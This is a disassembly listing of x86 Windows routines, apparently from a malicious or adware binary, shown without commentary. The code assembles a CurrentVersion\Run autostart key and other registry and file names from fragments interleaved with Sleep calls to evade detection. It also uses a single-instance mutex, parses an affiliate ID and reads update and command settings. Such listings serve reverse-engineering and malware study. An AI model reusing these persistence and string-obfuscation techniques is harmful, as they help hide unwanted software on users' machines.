cmp byte ptr [eax], 20h
jnz short loc_42523B
inc eax
jmp short loc_425233
; ---------------------------------------------------------------------------
loc_42523B: ; CODE XREF: sub_42522A+Cj
mov cl, [eax]
cmp cl, 2Bh
jz short loc_425249
cmp cl, 2Dh
jnz short loc_42524A
mov dl, 1
loc_425249: ; CODE XREF: sub_42522A+16j
; sub_42522A+3Aj
inc eax
loc_42524A: ; CODE XREF: sub_42522A+1Bj
mov cl, [eax]
test cl, cl
jz short loc_425266
cmp cl, 30h
jl short loc_425266
cmp cl, 39h
jg short loc_425266
movsx ecx, cl
lea esi, [esi+esi*4]
lea esi, [ecx+esi*2-30h]
jmp short loc_425249
; ---------------------------------------------------------------------------
loc_425266: ; CODE XREF: sub_42522A+24j
; sub_42522A+29j ...
cmp dl, 1
jnz short loc_42526D
neg esi
loc_42526D: ; CODE XREF: sub_42522A+3Fj
push 22h
call dword_4330E0 ; Sleep
mov eax, esi
pop esi
retn 4
sub_42522A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42527B proc near ; CODE XREF: sub_424B41+1AFp
var_84 = byte ptr -84h
var_83 = byte ptr -83h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 84h
push ebx
push esi
push edi
push 1Fh
pop ecx
xor eax, eax
lea edi, [ebp+var_83]
push 1
rep stosd
stosw
stosb
pop edi
xor esi, esi
push edi
mov [ebp+var_4], esi
call dword_4330E0 ; Sleep
cmp [ebp+arg_0], esi
mov ebx, [ebp+arg_4]
jnz short loc_4252B7
dec [ebp+arg_8]
mov byte ptr [ebx], 30h
mov [ebp+var_4], edi
loc_4252B7: ; CODE XREF: sub_42527B+31j
and [ebp+var_84], 0
cmp [ebp+arg_0], 0
jz short loc_4252FB
loc_4252C4: ; CODE XREF: sub_42527B+7Bj
mov eax, [ebp+arg_0]
push 0Ah
xor edx, edx
pop ecx
div ecx
lea edi, [ebp+esi+var_84]
push 1
mov ebx, edx
mov [edi], bl
call dword_4330E0 ; Sleep
mov eax, [ebp+arg_0]
push 0Ah
xor edx, edx
pop ecx
div ecx
add bl, 30h
inc esi
mov [edi], bl
test eax, eax
mov [ebp+arg_0], eax
jnz short loc_4252C4
mov ebx, [ebp+arg_4]
loc_4252FB: ; CODE XREF: sub_42527B+47j
mov ecx, [ebp+arg_8]
cmp ecx, esi
jle short loc_425323
sub ecx, esi
lea edi, [ebp+esi+var_84]
mov [ebp+arg_0], ecx
mov edx, ecx
mov eax, 30303030h
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
add esi, edx
rep stosb
loc_425323: ; CODE XREF: sub_42527B+85j
dec esi
js short loc_42533B
loc_425326: ; CODE XREF: sub_42527B+BEj
mov al, [ebp+esi+var_84]
mov ecx, [ebp+var_4]
dec esi
inc [ebp+var_4]
test esi, esi
mov [ecx+ebx], al
jge short loc_425326
loc_42533B: ; CODE XREF: sub_42527B+A9j
mov eax, [ebp+var_4]
push 7
and byte ptr [eax+ebx], 0
call dword_4330E0 ; Sleep
pop edi
mov eax, ebx
pop esi
pop ebx
leave
retn 0Ch
sub_42527B endp
; =============== S U B R O U T I N E =======================================
sub_425353 proc near ; CODE XREF: sub_426022+198p
mov eax, offset loc_4321E4
call sub_4318CA ; _EH_prolog
sub esp, 38h
push esi
push edi
mov edi, ecx
lea ecx, [ebp-10h]
mov dword ptr [ebp-4], 1
call sub_4317AE
push offset aSoftwareMicros ; "SOFTWARE\\Microso"
lea ecx, [ebp-10h]
mov byte ptr [ebp-4], 2
call sub_43179C
mov esi, dword_4330E0
push 22h
call esi ; Sleep
push offset aFtWindowsCurre ; "ft\\Windows\\Curren"
lea ecx, [ebp-10h]
call sub_4317D8
push 20h
call esi ; Sleep
push offset aTversionR ; "tVersion\\R"
lea ecx, [ebp-10h]
call sub_4317D8
push 20h
call esi ; Sleep
push offset aUnRu ; "un\\ru"
lea ecx, [ebp-10h]
call sub_4317D8
push 20h
call esi ; Sleep
push offset aNner1 ; "nner1"
lea ecx, [ebp-10h]
call sub_4317D8
push 80000002h
push 1
push ecx
mov ecx, esp
mov [ebp-20h], esp
push offset aDefaultvalue ; "defaultvalue"
call sub_43178A
push ecx
lea eax, [ebp-10h]
mov ecx, esp
mov [ebp-1Ch], esp
push eax
mov byte ptr [ebp-4], 3
call sub_431796
lea ecx, [ebp-44h]
mov byte ptr [ebp-4], 2
call sub_42692B
lea ecx, [ebp-18h]
mov byte ptr [ebp-4], 4
call sub_4317AE
lea ecx, [ebp-14h]
mov byte ptr [ebp-4], 5
call sub_4317AE
lea eax, [ebp-1Ch]
lea ecx, [ebp-44h]
push eax
mov byte ptr [ebp-4], 6
call sub_426D5C
lea eax, [ebp-1Ch]
lea ecx, [ebp-18h]
push eax
mov byte ptr [ebp-4], 7
call sub_4317A8
lea ecx, [ebp-1Ch]
mov byte ptr [ebp-4], 6
call sub_4317A2
lea eax, [ebp+8]
push offset asc_4373C8 ; " "
push eax
lea eax, [ebp-20h]
push eax
call sub_4317BA
lea ecx, [ebp+0Ch]
mov byte ptr [ebp-4], 8
push ecx
push eax
lea eax, [ebp-1Ch]
push eax
call sub_4317B4
push eax
lea ecx, [ebp-14h]
mov byte ptr [ebp-4], 9
call sub_4317A8
lea ecx, [ebp-1Ch]
mov byte ptr [ebp-4], 8
call sub_4317A2
lea ecx, [ebp-20h]
mov byte ptr [ebp-4], 6
call sub_4317A2
push dword ptr [ebp-14h]
push dword ptr [ebp-18h]
call dword_4331EC ; _mbscmp
pop ecx
test eax, eax
pop ecx
jz short loc_4254BA
push ecx
lea eax, [ebp-14h]
mov ecx, esp
mov [ebp-24h], esp
push eax
call sub_431796
lea ecx, [ebp-44h]
call sub_426DB8
loc_4254BA: ; CODE XREF: sub_425353+14Ej
push ecx
lea eax, [ebp+0Ch]
mov ecx, esp
mov [ebp-24h], esp
push eax
call sub_431796
mov ecx, edi
call sub_425B2E
lea ecx, [ebp-14h]
mov byte ptr [ebp-4], 5
call sub_4317A2
lea ecx, [ebp-18h]
mov byte ptr [ebp-4], 4
call sub_4317A2
lea ecx, [ebp-44h]
mov byte ptr [ebp-4], 2
call sub_426ABF
lea ecx, [ebp-10h]
mov byte ptr [ebp-4], 1
call sub_4317A2
and byte ptr [ebp-4], 0
lea ecx, [ebp+8]
call sub_4317A2
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp+0Ch]
call sub_4317A2
mov ecx, [ebp-0Ch]
pop edi
mov al, 1
mov large fs:0, ecx
pop esi
leave
retn 8
sub_425353 endp
; =============== S U B R O U T I N E =======================================
sub_42552A proc near ; CODE XREF: sub_42852F+17Dp
mov eax, offset loc_43222F
call sub_4318CA ; _EH_prolog
sub esp, 34h
and dword ptr [ebp-1Ch], 0
push ebx
push esi
lea ecx, [ebp-10h]
call sub_4317AE
push 1
lea ecx, [ebp-10h]
pop ebx
push offset aWr ; "WR"
mov [ebp-4], ebx
call sub_43179C
mov esi, dword_4330E0
push 22h
call esi ; Sleep
push offset dword_437130
lea ecx, [ebp-10h]
call sub_4317D8
push 21h
call esi ; Sleep
push offset aConfi ; "confi"
lea ecx, [ebp-10h]
call sub_4317D8
push 21h
call esi ; Sleep
push offset aGversion ; "gversion"
lea ecx, [ebp-10h]
call sub_4317D8
push 80000000h
push ebx
push ecx
mov ecx, esp
mov [ebp-18h], esp
push offset byte_439CB0
call sub_43178A
push ecx
lea eax, [ebp-10h]
mov ecx, esp
mov [ebp-20h], esp
push eax
mov byte ptr [ebp-4], 2
call sub_431796
lea ecx, [ebp-40h]
mov [ebp-4], bl
call sub_42692B
lea ecx, [ebp-14h]
mov byte ptr [ebp-4], 3
call sub_4317AE
lea eax, [ebp-18h]
lea ecx, [ebp-40h]
push eax
mov byte ptr [ebp-4], 4
call sub_426D5C
lea eax, [ebp-18h]
lea ecx, [ebp-14h]
push eax
mov byte ptr [ebp-4], 5
call sub_4317A8
lea ecx, [ebp-18h]
mov byte ptr [ebp-4], 4
call sub_4317A2
mov ecx, [ebp+8]
lea eax, [ebp-14h]
push eax
call sub_431796
mov [ebp-1Ch], ebx
lea ecx, [ebp-14h]
mov byte ptr [ebp-4], 3
call sub_4317A2
lea ecx, [ebp-40h]
mov [ebp-4], bl
call sub_426ABF
and byte ptr [ebp-4], 0
lea ecx, [ebp-10h]
call sub_4317A2
mov eax, [ebp+8]
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_42552A endp
; =============== S U B R O U T I N E =======================================
sub_425642 proc near ; CODE XREF: sub_42948F+6Ep
; sub_42948F+12Bp ...
mov eax, offset loc_43224C
call sub_4318CA ; _EH_prolog
sub esp, 28h
push esi
push edi
lea ecx, [ebp-10h]
call sub_4317AE
and dword ptr [ebp-4], 0
push offset aWr ; "WR"
lea ecx, [ebp-10h]
call sub_43179C
mov esi, dword_4330E0
push 20h
pop edi
push edi
call esi ; Sleep
push offset dword_437130
lea ecx, [ebp-10h]
call sub_4317D8
push edi
call esi ; Sleep
push offset aNex ; "nex"
lea ecx, [ebp-10h]
call sub_4317D8
push edi
call esi ; Sleep
push offset aTup ; "tup"
lea ecx, [ebp-10h]
call sub_4317D8
push edi
call esi ; Sleep
push offset aDate ; "date"
lea ecx, [ebp-10h]
call sub_4317D8
push 80000000h
push 1
push 0
push ecx
lea eax, [ebp-10h]
mov ecx, esp
mov [ebp-14h], esp
push eax
call sub_431796
lea ecx, [ebp-34h]
call sub_426584
lea ecx, [ebp-34h]
mov byte ptr [ebp-4], 1
call sub_426816
mov edi, [ebp+8]
mov esi, eax
test edi, edi
jle short loc_4256FB
lea eax, [ebp+8]
push eax
call dword_4331A4 ; time
mov eax, [ebp+8]
pop ecx
lea esi, [eax+edi]
jmp short loc_425713
; ---------------------------------------------------------------------------
loc_4256FB: ; CODE XREF: sub_425642+A4j
test esi, esi
jnz short loc_42571C
lea eax, [ebp+8]
push eax
call dword_4331A4 ; time
mov eax, [ebp+8]
pop ecx
lea esi, [eax+0B4h]
loc_425713: ; CODE XREF: sub_425642+B7j
push esi
lea ecx, [ebp-34h]
call sub_426843
loc_42571C: ; CODE XREF: sub_425642+BBj
and byte ptr [ebp-4], 0
lea ecx, [ebp-34h]
call sub_4266D6
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-10h]
call sub_4317A2
mov ecx, [ebp-0Ch]
mov eax, esi
pop edi
mov large fs:0, ecx
pop esi
leave
retn 4
sub_425642 endp
; =============== S U B R O U T I N E =======================================
sub_425746 proc near ; CODE XREF: sub_422A1E+163p
arg_0 = dword ptr 4
push ebx
push esi
push [esp+8+arg_0]
mov esi, ecx
push 0
push 0
call dword_4330B0 ; CreateMutexA
add esi, 0Ch
test eax, eax
mov [esi], eax
jz short loc_425779
call dword_433028 ; RtlGetLastWin32Error
cmp eax, 0B7h
jnz short loc_425779
push dword ptr [esi]
call dword_433020 ; CloseHandle
and dword ptr [esi], 0
loc_425779: ; CODE XREF: sub_425746+19j
; sub_425746+26j
cmp dword ptr [esi], 0
lea ecx, [esp+8+arg_0]
setz bl
call sub_4317A2
mov al, bl
pop esi
pop ebx
retn 4
sub_425746 endp
; =============== S U B R O U T I N E =======================================
sub_42578F proc near ; CODE XREF: sub_42852F+E5p
mov eax, offset loc_432297
call sub_4318CA ; _EH_prolog
sub esp, 34h
and dword ptr [ebp-1Ch], 0
push ebx
push esi
lea ecx, [ebp-10h]
call sub_4317AE
push 1
lea ecx, [ebp-10h]
pop ebx
push offset aWr ; "WR"
mov [ebp-4], ebx
call sub_43179C
mov esi, dword_4330E0
push 22h
call esi ; Sleep
push offset dword_437130
lea ecx, [ebp-10h]
call sub_4317D8
push 20h
call esi ; Sleep
push offset aP_0 ; "p"
lea ecx, [ebp-10h]
call sub_4317D8
push 80000000h
push ebx
push ecx
mov ecx, esp
mov [ebp-18h], esp
push offset byte_439CB0
call sub_43178A
push ecx
lea eax, [ebp-10h]
mov ecx, esp
mov [ebp-20h], esp
push eax
mov byte ptr [ebp-4], 2
call sub_431796
lea ecx, [ebp-40h]
mov [ebp-4], bl
call sub_42692B
lea ecx, [ebp-14h]
mov byte ptr [ebp-4], 3
call sub_4317AE
lea eax, [ebp-18h]
lea ecx, [ebp-40h]
push eax
mov byte ptr [ebp-4], 4
call sub_426D5C
lea eax, [ebp-18h]
lea ecx, [ebp-14h]
push eax
mov byte ptr [ebp-4], 5
call sub_4317A8
lea ecx, [ebp-18h]
mov byte ptr [ebp-4], 4
call sub_4317A2
mov ecx, [ebp+8]
lea eax, [ebp-14h]
push eax
call sub_431796
mov [ebp-1Ch], ebx
lea ecx, [ebp-14h]
mov byte ptr [ebp-4], 3
call sub_4317A2
lea ecx, [ebp-40h]
mov [ebp-4], bl
call sub_426ABF
and byte ptr [ebp-4], 0
lea ecx, [ebp-10h]
call sub_4317A2
mov ecx, [ebp-0Ch]
mov eax, [ebp+8]
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_42578F endp
; =============== S U B R O U T I N E =======================================
sub_425896 proc near ; CODE XREF: sub_42852F+AEp
mov eax, offset loc_4322E3
call sub_4318CA ; _EH_prolog
sub esp, 34h
and dword ptr [ebp-1Ch], 0
push ebx
push esi
lea ecx, [ebp-10h]
call sub_4317AE
push 1
lea ecx, [ebp-10h]
pop ebx
push offset aW ; "W"
mov [ebp-4], ebx
call sub_43179C
mov esi, dword_4330E0
push 22h
call esi ; Sleep
push offset aR ; "R"
lea ecx, [ebp-10h]
call sub_4317D8
push 22h
call esi ; Sleep
push offset dword_437130
lea ecx, [ebp-10h]
call sub_4317D8
push 20h
call esi ; Sleep
push offset aI ; "i"
lea ecx, [ebp-10h]
call sub_4317D8
push 80000000h
push ebx
push ecx
mov ecx, esp
mov [ebp-18h], esp
push offset byte_439CB0
call sub_43178A
push ecx
lea eax, [ebp-10h]
mov ecx, esp
mov [ebp-20h], esp
push eax
mov byte ptr [ebp-4], 2
call sub_431796
lea ecx, [ebp-40h]
mov [ebp-4], bl
call sub_42692B
lea ecx, [ebp-14h]
mov byte ptr [ebp-4], 3
call sub_4317AE
lea eax, [ebp-18h]
lea ecx, [ebp-40h]
push eax
mov byte ptr [ebp-4], 4
call sub_426D5C
lea eax, [ebp-18h]
lea ecx, [ebp-14h]
push eax
mov byte ptr [ebp-4], 5
call sub_4317A8
lea ecx, [ebp-18h]
mov byte ptr [ebp-4], 4
call sub_4317A2
mov ecx, [ebp+8]
lea eax, [ebp-14h]
push eax
call sub_431796
mov [ebp-1Ch], ebx
lea ecx, [ebp-14h]
mov byte ptr [ebp-4], 3
call sub_4317A2
lea ecx, [ebp-40h]
mov [ebp-4], bl
call sub_426ABF
and byte ptr [ebp-4], 0
lea ecx, [ebp-10h]
call sub_4317A2
mov eax, [ebp+8]
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_425896 endp
; =============== S U B R O U T I N E =======================================
sub_4259AE proc near ; CODE XREF: sub_424606+2E2p
mov eax, offset loc_432330
call sub_4318CA ; _EH_prolog
sub esp, 34h
push esi
and dword ptr [ebp-4], 0
lea ecx, [ebp-10h]
call sub_4317AE
push offset aW ; "W"
lea ecx, [ebp-10h]
mov byte ptr [ebp-4], 1
call sub_43179C
mov esi, dword_4330E0
push 22h
call esi ; Sleep
push offset aR ; "R"
lea ecx, [ebp-10h]
call sub_4317D8
push 22h
call esi ; Sleep
push offset dword_437130
lea ecx, [ebp-10h]
call sub_4317D8
push 20h
call esi ; Sleep
push offset aI ; "i"
lea ecx, [ebp-10h]
call sub_4317D8
mov eax, [ebp+8]
mov eax, [eax-8]
cmp eax, 3
jl loc_425B07
push 80000000h
push 1
push ecx
mov ecx, esp
mov [ebp-1Ch], esp
push offset byte_439CB0
call sub_43178A
push ecx
lea eax, [ebp-10h]
mov ecx, esp
mov [ebp-18h], esp
push eax
mov byte ptr [ebp-4], 2
call sub_431796
lea ecx, [ebp-40h]
mov byte ptr [ebp-4], 1
call sub_42692B
lea ecx, [ebp-14h]
mov byte ptr [ebp-4], 3
call sub_4317AE
lea eax, [ebp-18h]
lea ecx, [ebp-40h]
push eax
mov byte ptr [ebp-4], 4
call sub_426D5C
lea eax, [ebp-18h]
lea ecx, [ebp-14h]
push eax
mov byte ptr [ebp-4], 5
call sub_4317A8
lea ecx, [ebp-18h]
mov byte ptr [ebp-4], 4
call sub_4317A2
lea eax, [ebp-14h]
push offset asc_437448 ; ","
push eax
lea eax, [ebp-1Ch]
push eax
call sub_4317BA
lea ecx, [ebp+8]
mov byte ptr [ebp-4], 6
push ecx
push eax
lea eax, [ebp-18h]
push eax
call sub_4317B4
push eax
lea ecx, [ebp-14h]
mov byte ptr [ebp-4], 7
call sub_4317A8
lea ecx, [ebp-18h]
mov byte ptr [ebp-4], 6
call sub_4317A2
lea ecx, [ebp-1Ch]
mov byte ptr [ebp-4], 4
call sub_4317A2
push ecx
lea eax, [ebp-14h]
mov ecx, esp
mov [ebp-20h], esp
push eax
call sub_431796
lea ecx, [ebp-40h]
call sub_426DB8
lea ecx, [ebp-14h]
mov byte ptr [ebp-4], 3
call sub_4317A2
lea ecx, [ebp-40h]
mov byte ptr [ebp-4], 1
call sub_426ABF
loc_425B07: ; CODE XREF: sub_4259AE+6Dj
and byte ptr [ebp-4], 0
lea ecx, [ebp-10h]
call sub_4317A2
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp+8]
call sub_4317A2
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
leave
retn 4
sub_4259AE endp
; =============== S U B R O U T I N E =======================================
sub_425B2E proc near ; CODE XREF: sub_425353+178p
mov eax, offset loc_43236C
call sub_4318CA ; _EH_prolog
sub esp, 30h
push esi
and dword ptr [ebp-4], 0
lea ecx, [ebp-10h]
call sub_4317AE
push offset aW ; "W"
lea ecx, [ebp-10h]
mov byte ptr [ebp-4], 1
call sub_43179C
mov esi, dword_4330E0
push 22h
call esi ; Sleep
push offset aR ; "R"
lea ecx, [ebp-10h]
call sub_4317D8
push 22h
call esi ; Sleep
push offset dword_437130
lea ecx, [ebp-10h]
call sub_4317D8
push 20h
call esi ; Sleep
push offset aCmd ; "cmd"
lea ecx, [ebp-10h]
call sub_4317D8
push 80000000h
push 1
push ecx
mov esi, offset a0 ; "0"
mov ecx, esp
mov [ebp-18h], esp
push esi
call sub_43178A
push ecx
lea eax, [ebp-10h]
mov ecx, esp
mov [ebp-1Ch], esp
push eax
mov byte ptr [ebp-4], 2
call sub_431796
lea ecx, [ebp-3Ch]
mov byte ptr [ebp-4], 1
call sub_42692B
lea ecx, [ebp-14h]
mov byte ptr [ebp-4], 3
call sub_4317AE
lea eax, [ebp-18h]
lea ecx, [ebp-3Ch]
push eax
mov byte ptr [ebp-4], 4
call sub_426D5C
lea eax, [ebp-18h]
lea ecx, [ebp-14h]
push eax
mov byte ptr [ebp-4], 5
call sub_4317A8
lea ecx, [ebp-18h]
mov byte ptr [ebp-4], 4
call sub_4317A2
push esi
push dword ptr [ebp-14h]
call dword_4331EC ; _mbscmp
pop ecx
test eax, eax
pop ecx
jnz short loc_425C28
push ecx
lea eax, [ebp+8]
mov ecx, esp
mov [ebp-1Ch], esp
push eax
call sub_431796
lea ecx, [ebp-3Ch]
call sub_426DB8
loc_425C28: ; CODE XREF: sub_425B2E+E1j
lea ecx, [ebp-14h]
mov byte ptr [ebp-4], 3
call sub_4317A2
lea ecx, [ebp-3Ch]
mov byte ptr [ebp-4], 1
call sub_426ABF
and byte ptr [ebp-4], 0
lea ecx, [ebp-10h]
call sub_4317A2
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp+8]
call sub_4317A2
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
leave
retn 4
sub_425B2E endp
; =============== S U B R O U T I N E =======================================
sub_425C67 proc near ; CODE XREF: sub_429039+70p
mov eax, offset loc_4323B7
call sub_4318CA ; _EH_prolog
sub esp, 34h
and dword ptr [ebp-1Ch], 0
push ebx
push esi
lea ecx, [ebp-10h]
call sub_4317AE
push 1
lea ecx, [ebp-10h]
pop ebx
push offset aW ; "W"
mov [ebp-4], ebx
call sub_43179C
mov esi, dword_4330E0
push 22h
call esi ; Sleep
push offset aR ; "R"
lea ecx, [ebp-10h]
call sub_4317D8
push 22h
call esi ; Sleep
push offset dword_437130
lea ecx, [ebp-10h]
call sub_4317D8
push 20h
call esi ; Sleep
push offset aC ; "c"
lea ecx, [ebp-10h]
call sub_4317D8
push 20h
call esi ; Sleep
push offset aMd ; "md"
lea ecx, [ebp-10h]
call sub_4317D8
push 20h
call esi ; Sleep
push 80000000h
push ebx
push ecx
mov ecx, esp
mov [ebp-18h], esp
push offset byte_439CB0
call sub_43178A
push ecx
lea eax, [ebp-10h]
mov ecx, esp
mov [ebp-20h], esp
push eax
mov byte ptr [ebp-4], 2
call sub_431796
lea ecx, [ebp-40h]
mov [ebp-4], bl
call sub_42692B
lea ecx, [ebp-14h]
mov byte ptr [ebp-4], 3
call sub_4317AE
lea eax, [ebp-18h]
lea ecx, [ebp-40h]
push eax
mov byte ptr [ebp-4], 4
call sub_426D5C
lea eax, [ebp-18h]
lea ecx, [ebp-14h]
push eax
mov byte ptr [ebp-4], 5
call sub_4317A8
lea ecx, [ebp-18h]
mov byte ptr [ebp-4], 4
call sub_4317A2
mov ecx, [ebp+8]
lea eax, [ebp-14h]
push eax
call sub_431796
mov [ebp-1Ch], ebx
lea ecx, [ebp-14h]
mov byte ptr [ebp-4], 3
call sub_4317A2
lea ecx, [ebp-40h]
mov [ebp-4], bl
call sub_426ABF
and byte ptr [ebp-4], 0
lea ecx, [ebp-10h]
call sub_4317A2
mov ecx, [ebp-0Ch]
mov eax, [ebp+8]
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_425C67 endp
; =============== S U B R O U T I N E =======================================
sub_425D94 proc near ; CODE XREF: sub_426022+5Cp
mov eax, offset loc_4323DC
call sub_4318CA ; _EH_prolog
mov eax, 8020h
call sub_431860
push ebx
push esi
push edi
mov [ebp-18h], ecx
xor ebx, ebx
lea ecx, [ebp-1Ch]
mov [ebp-4], ebx
call sub_4317AE
push dword ptr [ebp+8]
mov esi, dword_4330CC
lea eax, [ebp-602Ch]
mov byte ptr [ebp-4], 1
push eax
call esi ; lstrcpyA
lea eax, [ebp-602Ch]
push eax
call dword_4330B4 ; lstrlenA
mov ecx, [ebp-18h]
push eax
lea eax, [ebp-602Ch]
push eax
lea eax, [ebp-10h]
push eax
call sub_4230F8
push eax
lea ecx, [ebp-1Ch]
mov byte ptr [ebp-4], 2
call sub_4317A8
lea ecx, [ebp-10h]
mov byte ptr [ebp-4], 1
call sub_4317A2
push dword ptr [ebp-1Ch]
lea eax, [ebp-402Ch]
push eax
call dword_433298 ; wsprintfA
cmp byte ptr [ebp-402Ch], 23h
pop ecx
pop ecx
jnz loc_425FF8
push ebx
lea eax, [ebp-402Ch]
push 1
push eax
lea eax, [ebp-10h]
lea ecx, [ebp-14h]
push eax
call sub_421ACF
push dword ptr [eax]
lea eax, [ebp-402Ch]
push eax
call sub_4318B8 ; strcpy
pop ecx
pop ecx
lea ecx, [ebp-10h]
call sub_4317A2
lea eax, [ebp-402Ch]
push 23h
push eax
lea ecx, [ebp-14h]
call sub_421A20
mov edi, eax
cmp edi, ebx
mov [ebp-10h], edi
jz loc_425FF8
jmp short loc_425E7B
; ---------------------------------------------------------------------------
loc_425E78: ; CODE XREF: sub_425D94+25Ej
mov edi, [ebp-10h]
loc_425E7B: ; CODE XREF: sub_425D94+E2j
cmp edi, 0FFFFFFFFh
jnz short loc_425E92
lea eax, [ebp-402Ch]
push eax
lea eax, [ebp-202Ch]
push eax
call esi ; lstrcpyA
jmp short loc_425EBA
; ---------------------------------------------------------------------------
loc_425E92: ; CODE XREF: sub_425D94+EAj
push edi
lea eax, [ebp-402Ch]
push ebx
push eax
lea eax, [ebp-28h]
lea ecx, [ebp-14h]
push eax
call sub_421ACF
push dword ptr [eax]
lea eax, [ebp-202Ch]
push eax
call esi ; lstrcpyA
lea ecx, [ebp-28h]
call sub_4317A2
loc_425EBA: ; CODE XREF: sub_425D94+FCj
inc edi
push ebx
lea eax, [ebp-402Ch]
push edi
push eax
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-14h]
call sub_421ACF
push dword ptr [eax]
lea eax, [ebp-402Ch]
push eax
call esi ; lstrcpyA
lea ecx, [ebp-20h]
call sub_4317A2
lea eax, [ebp-202Ch]
push 3Ah
push eax
lea ecx, [ebp-14h]
call sub_421A20
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_425F4E
push edi
lea eax, [ebp-202Ch]
push ebx
push eax
lea eax, [ebp-24h]
lea ecx, [ebp-14h]
push eax
call sub_421ACF
push dword ptr [eax]
lea eax, [ebp-802Ch]
push eax
call esi ; lstrcpyA
lea ecx, [ebp-24h]
call sub_4317A2
inc edi
push ebx
lea eax, [ebp-202Ch]
push edi
push eax
lea eax, [ebp-2Ch]
push eax
lea ecx, [ebp-14h]
call sub_421ACF
push dword ptr [eax]
lea eax, [ebp-202Ch]
push eax
call esi ; lstrcpyA
lea ecx, [ebp-2Ch]
call sub_4317A2
jmp short loc_425F73
; ---------------------------------------------------------------------------
loc_425F4E: ; CODE XREF: sub_425D94+165j
lea eax, [ebp-202Ch]
push eax
lea eax, [ebp-802Ch]
push eax
call esi ; lstrcpyA
push 2000h
lea eax, [ebp-202Ch]
push ebx
push eax
call sub_4318B2 ; memset
add esp, 0Ch
loc_425F73: ; CODE XREF: sub_425D94+1B8j
push 5
lea eax, [ebp-802Ch]
push offset aAffid ; "affID"
push eax
call dword_4331AC ; _strnicmp
add esp, 0Ch
test eax, eax
jnz short loc_425FD6
lea eax, [ebp-202Ch]
push eax
call sub_4318BE ; strlen
cmp eax, 1
pop ecx
jle short loc_425FBB
push 8Dh
mov [ebp+eax-202Dh], bl
call dword_4330E0 ; Sleep
lea eax, [ebp-202Ch]
push eax
jmp short loc_425FCB
; ---------------------------------------------------------------------------
loc_425FBB: ; CODE XREF: sub_425D94+20Aj
push 0C0h
call dword_4330E0 ; Sleep
push offset byte_439CB0
loc_425FCB: ; CODE XREF: sub_425D94+225j
mov eax, [ebp-18h]
lea ecx, [eax+4]
call sub_43179C
loc_425FD6: ; CODE XREF: sub_425D94+1F8j
cmp dword ptr [ebp-10h], 0FFFFFFFFh
jz short loc_425FF8
lea eax, [ebp-402Ch]
push 23h
push eax
lea ecx, [ebp-14h]
call sub_421A20
cmp eax, ebx
mov [ebp-10h], eax
jnz loc_425E78
loc_425FF8: ; CODE XREF: sub_425D94+90j
; sub_425D94+DCj ...
lea ecx, [ebp-1Ch]
mov [ebp-4], bl
call sub_4317A2
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp+8]
call sub_4317A2
mov ecx, [ebp-0Ch]
pop edi
pop esi
mov al, 1
pop ebx
mov large fs:0, ecx
leave
retn 4
sub_425D94 endp
; =============== S U B R O U T I N E =======================================
sub_426022 proc near ; CODE XREF: sub_42948F+59p
mov eax, offset loc_432470
call sub_4318CA ; _EH_prolog
sub esp, 68h
push ebx
push esi
push edi
mov edi, ecx
mov esi, dword_4330E0
and dword ptr [ebp-4], 0
push 0CE8h
call esi ; Sleep
lea ecx, [ebp-14h]
call sub_4317AE
lea ecx, [ebp-18h]
mov byte ptr [ebp-4], 1
call sub_4317AE
lea ecx, [ebp-34h]
mov byte ptr [ebp-4], 2
call sub_4317AE
push 22h
mov byte ptr [ebp-4], 3
call esi ; Sleep
push ecx
lea eax, [ebp+8]
mov ecx, esp
mov [ebp-30h], esp
push eax
call sub_431796
mov ecx, edi
call sub_425D94
lea ebx, [edi+1Ch]
push offset aM ; "\\m"
lea eax, [ebp-2Ch]
push ebx
push eax
call sub_4317BA
push eax
lea ecx, [ebp-14h]
mov byte ptr [ebp-4], 4
call sub_4317A8
lea ecx, [ebp-2Ch]
mov byte ptr [ebp-4], 3
call sub_4317A2
push 22h
call esi ; Sleep
push offset aRo ; "ro"
lea ecx, [ebp-14h]
call sub_4317D8
push 22h
call esi ; Sleep
push offset aFinu ; "finu"
lea ecx, [ebp-14h]
call sub_4317D8
push 20h
call esi ; Sleep
lea eax, [edi+4]
push offset a_ex ; ".ex"
push eax
lea eax, [ebp-2Ch]
push eax
call sub_4317BA
push eax
lea ecx, [ebp-14h]
mov byte ptr [ebp-4], 5
call sub_4317E4
lea ecx, [ebp-2Ch]
mov byte ptr [ebp-4], 3
call sub_4317A2
push offset aE ; "e"
lea ecx, [ebp-14h]
call sub_4317D8
push ebx
lea ecx, [ebp-18h]
call sub_4317A8
push offset dword_437130
lea ecx, [ebp-18h]
call sub_4317D8
push 21h
call esi ; Sleep
push offset aMr ; "mr"
lea ecx, [ebp-18h]
call sub_4317D8
push 22h
call esi ; Sleep
push offset aOf ; "of"
lea ecx, [ebp-18h]
call sub_4317D8
lea eax, [edi+4]
push eax
lea eax, [ebp-28h]
push offset aInu ; "inu"
push eax
call sub_4317DE
push offset a_exe_tmp ; ".exe.tmp"
push eax
lea eax, [ebp-2Ch]
mov byte ptr [ebp-4], 6
push eax
call sub_4317BA
push eax
lea ecx, [ebp-18h]
mov byte ptr [ebp-4], 7
call sub_4317E4
lea ecx, [ebp-2Ch]
mov byte ptr [ebp-4], 6
call sub_4317A2
lea ecx, [ebp-28h]
mov byte ptr [ebp-4], 3
call sub_4317A2
push 20h
call esi ; Sleep
push ecx
lea eax, [ebp+8]
mov ecx, esp
mov [ebp-30h], esp
push eax
call sub_431796
push ecx
lea eax, [ebp-14h]
mov ecx, esp
mov [ebp-2Ch], esp
push eax
